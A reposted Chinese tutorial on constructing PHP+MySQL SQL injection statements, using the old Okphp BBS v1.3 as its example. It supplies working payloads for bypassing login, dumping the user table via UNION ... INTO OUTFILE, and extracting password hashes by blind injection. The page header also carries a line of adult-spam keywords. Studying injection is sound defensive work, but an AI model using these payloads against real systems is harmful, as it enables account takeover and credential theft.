亚洲韩日午夜视频,欧美日韩在线精品一区二区三区,韩国超清无码一区二区三区,亚洲国产成人影院播放,久草新在线,在线看片AV色

您好,歡迎來到思海網(wǎng)絡(luò),我們將竭誠(chéng)為您提供優(yōu)質(zhì)的服務(wù)! 誠(chéng)征網(wǎng)絡(luò)推廣 | 網(wǎng)站備案 | 幫助中心 | 軟件下載 | 購(gòu)買流程 | 付款方式 | 聯(lián)系我們 [ 會(huì)員登錄/注冊(cè) ]
促銷推廣
客服中心
業(yè)務(wù)咨詢
有事點(diǎn)擊這里…  531199185
有事點(diǎn)擊這里…  61352289
點(diǎn)擊這里給我發(fā)消息  81721488
有事點(diǎn)擊這里…  376585780
有事點(diǎn)擊這里…  872642803
有事點(diǎn)擊這里…  459248018
有事點(diǎn)擊這里…  61352288
有事點(diǎn)擊這里…  380791050
技術(shù)支持
有事點(diǎn)擊這里…  714236853
有事點(diǎn)擊這里…  719304487
有事點(diǎn)擊這里…  1208894568
有事點(diǎn)擊這里…  61352289
在線客服
有事點(diǎn)擊這里…  531199185
有事點(diǎn)擊這里…  61352288
有事點(diǎn)擊這里…  983054746
有事點(diǎn)擊這里…  893984210
當(dāng)前位置:首頁(yè) >> 技術(shù)文章 >> 文章瀏覽
技術(shù)文章

php+mysql注射語(yǔ)句構(gòu)造

添加時(shí)間:2013-3-18 17:33:41  添加: 思海網(wǎng)絡(luò) 
由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時(shí)語(yǔ)句的構(gòu)造方面更是個(gè)難點(diǎn),本文主要是借對(duì)Okphp BBS v1.3一些文件得簡(jiǎn)單分析,來談?wù)刾hp+mysql注射語(yǔ)句構(gòu)造方式,希望本文對(duì)你有點(diǎn)幫助。
  聲明:文章所有提到的“漏洞”,都沒有經(jīng)過測(cè)試,可能根本不存在,其實(shí)有沒有漏洞并不重要,重要的是分析思路和語(yǔ)句構(gòu)造。

二.“漏洞”分析:

1.admin/login.php注射導(dǎo)致繞過身份驗(yàn)證漏洞:

代碼:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 沒過濾, 很容易就繞過。
對(duì)于select * from $user_table where username='$username' and password='$password'這樣的語(yǔ)句改造的方法有:

構(gòu)造1(利用邏輯運(yùn)算):$username=' OR 'a'='a $password=' OR 'a'='a

相當(dāng)于sql語(yǔ)句:
select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

構(gòu)造2(利用mysql里的注釋語(yǔ)句# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)

即:
select * from $user_table where username='admin'#' and password='$password'"

相當(dāng)于:
select * from $user_table where username='admin'

在admin/login.php中$q語(yǔ)句中的$password在查詢前進(jìn)行了md5加密所以不可以用構(gòu)造1中的語(yǔ)句繞過。這里我們用構(gòu)造2:

select id,group_id from $user_table where username='admin'#' and password='$password'"

相當(dāng)于:
select id,group_id from $user_table where username='admin'

只要存在用戶名為admin的就成立,如果不知道用戶名,只知道對(duì)應(yīng)的id,
我們就可以這樣構(gòu)造:$username=' OR id=1#

相當(dāng)于:
select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注釋掉)

我們接著往下看代碼:
if ($row[0]) {
// If not admin or super moderator
if ($username != "admin" && !eregi("(^ &)3($ &)",$row[1])) {
$login = 0;
}

else {
$login = 1;
}
}
// Fail to login---------------
if (!$login) {
write_log("Moderator login","0","password wrong");
echo "<>alert('login failed!');history.go(-1);</>";
exit();
}
// Access ! -------------
else {
session_start();

呵呵~~ 最后簡(jiǎn)單通過一個(gè)$login來判斷,我們只要ie提交直接提交$login=1 就可以繞過了 :)。


2.users/login.php注射導(dǎo)致繞過身份驗(yàn)證漏洞:
代碼:
$md5password = md5($password);
$q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$username沒過濾利用同1里注釋掉and password='$md5password'";就繞過啦。


3.admin\log\list.php存在任意刪除日志記錄漏洞。(ps:這個(gè)好象和php+mysql注射無關(guān),隨便提一下)

okphp的后臺(tái)好象寫得很馬虎,所有文件都沒有判斷管理員是否已經(jīng)登陸,以至于任意訪問。我們看list.php的代碼:

$arr = array("del_log","log_id","del_id");
get_r($arr);
//
if ($del_log) {
省略........
if ($log_id) {
foreach ($log_id as $val) {
$q = "delete from $log_table where id='$val'";
$res = sql_query($q,$conn);
if ($res) {
$i++;
}
}
}
elseif ($del_id) {
$q = "delete from $log_table where id='$del_id'";
$res = sql_query($q,$conn);
}
$tpl->setVariable("message","$i log deleted ok!");
$tpl->setVariable("action","index.php?action=list_log");
}

代碼就只簡(jiǎn)單的用get_r($arr);判斷的提交的參數(shù),我們只要提交相應(yīng)的$del_log,$log_id,$del_id。就回刪除成功。

4.多個(gè)文件對(duì)變量沒有過濾導(dǎo)致sql注射漏洞。
  okphp的作者好象都不喜歡過濾:)。基本上所有的sql語(yǔ)句中的變量都是“赤裸裸”的。具體那些文件我就不列出來了,請(qǐng)自己看代碼,我這里就用\forums\list_threads.php為例子簡(jiǎn)單談一下。

看list_threads.php的代碼:

$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

變量$forum_id沒有過濾,因?yàn)閙ysql不支持子查詢,我們可以利用union構(gòu)造語(yǔ)句進(jìn)行聯(lián)合查詢(要求MySQL版本在4.00以上)實(shí)現(xiàn)跨庫(kù)操作,我們構(gòu)造如下:

構(gòu)造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file權(quán)限,注意在win系統(tǒng)中要絕對(duì)路徑,如:c://path//file.txt )。把所查詢的內(nèi)容輸入到file.txt,然后我們可以通http://ip/path/file.txt來訪問得到查詢的結(jié)果。上面的我們可以這樣構(gòu)造$forum_id:

$forum_id=' union select * from user_table into outfile '/path/file.txt'

以下:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";


上面的辦法要求比較苛刻,必須得到web的路徑(一般可以通過提交錯(cuò)誤的變量使mysql報(bào)錯(cuò)而得到),而且php的magic_gpc=on選項(xiàng)使注入中不能出現(xiàn)單引號(hào)。如果magic_gpc=on我們也可以繞過:

構(gòu)造2:就象asp跨庫(kù)查詢一樣,直接利用union select構(gòu)造語(yǔ)句,使返回結(jié)果不同來猜解,這種方法可以繞過單引號(hào)(magic_gpc=on)繼續(xù)注射,不過在php里這種注射相對(duì)困難,根據(jù)具體的代碼而定。具體的語(yǔ)句構(gòu)造請(qǐng)參考pinkeyes 的文章《php注入實(shí)例》。下面我就結(jié)合okphp給個(gè)利用“返回結(jié)果不同”注射的例子:(見漏洞5)。

5.admin/login.php和users/login.php通過sql語(yǔ)句構(gòu)造可以猜解得到指定用戶密碼hash:(其實(shí)這個(gè)和漏洞1和2是同一個(gè),這里單獨(dú)拿出來,主要是說明語(yǔ)句構(gòu)造的方法。)

問題代碼同漏洞1。
語(yǔ)句的構(gòu)造(ps:因?yàn)檎Z(yǔ)句本身就是對(duì)用戶庫(kù)操作就沒必要用union了):
$username=admin' AND LENGTH(password)=6#

sql語(yǔ)句變成:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"

相當(dāng)于:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"

如果LENGTH(password)=6成立,則正常返回,如果不成立,mysql就會(huì)報(bào)錯(cuò)。

呵呵,這樣我們就可以猜解用戶admin密碼hash了。如$username=admin' ord(substring(password,1,1))=57#
可以猜用戶的密碼第一位的ascii碼值............。


三.后話:

  這篇文章是在網(wǎng)吧看代碼寫出來的,只是粗略的看了下代碼,文章所提到的“漏洞”都沒有經(jīng)過測(cè)試?赡苡械摹奥┒础备揪筒淮嬖冢部赡苈┑袅瞬簧贃|西,這些都不是很要緊,因?yàn)楸疚牡闹匾康氖强磒hp+mysql注射時(shí)的語(yǔ)句構(gòu)造,通過本文,可以看出:雖然看起來php好象要比asp安全,不過一但變量沒有過濾完全,php的注射要比asp注射更靈活,更多注射方法。

關(guān)鍵字:php、mysql、漏洞

分享到:

頂部 】 【 關(guān)閉
版權(quán)所有:佛山思海電腦網(wǎng)絡(luò)有限公司 ©1998-2024 All Rights Reserved.
聯(lián)系電話:(0757)22630313、22633833
中華人民共和國(guó)增值電信業(yè)務(wù)經(jīng)營(yíng)許可證: 粵B1.B2-20030321 備案號(hào):粵B2-20030321-1
網(wǎng)站公安備案編號(hào):44060602000007 交互式欄目專項(xiàng)備案編號(hào):200303DD003  
察察 工商 網(wǎng)安 舉報(bào)有獎(jiǎng)  警警  手機(jī)打開網(wǎng)站